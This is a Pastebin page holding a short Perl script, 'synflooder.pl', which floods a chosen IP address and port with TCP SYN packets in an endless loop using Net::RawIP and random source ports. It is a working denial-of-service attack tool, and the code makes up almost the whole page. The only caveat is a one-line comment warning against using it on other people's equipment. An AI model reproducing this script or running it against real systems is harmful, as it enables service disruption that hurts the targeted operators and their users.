coolguylentz

synflooder.pl

Mar 31st, 2013
405
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 0.66 KB | None | 0 0
  1. #!/usr/bin/perl
  2. # USAGE: sudo perl synflooder.pl source_ip destination_ip destination_port
  3. #
  4. # Find your source_ip with "ifconfig" command
  5. # Requirements:
  6. # 1. Perl
  7. # 2. NET::RawIP Module (sudo apt-get install libnet-rawip-perl)
  8. # 3. A Clue (don't do this on anyone else's equipment)
  9.  
  10. use Net::RawIP;
  11.  
  12. if($#ARGV == 2) {
  13. ($source,$destination,$port) = @ARGV;
  14. $a = new Net::RawIP;
  15. while(1) {
  16. $src_port = rand(65534)+1;
  17. $a->set({ip => {saddr => $source,daddr => $destination},tcp => {source => $src_port,dest => $port, syn => 1}});
  18. $a->send;
  19. }
  20. }
  21. else {
  22. print "USAGE: sudo perl synflooder.pl source_address destination_address destination_port \n";
  23. }
Advertisement
Add Comment
Please, Sign In to add comment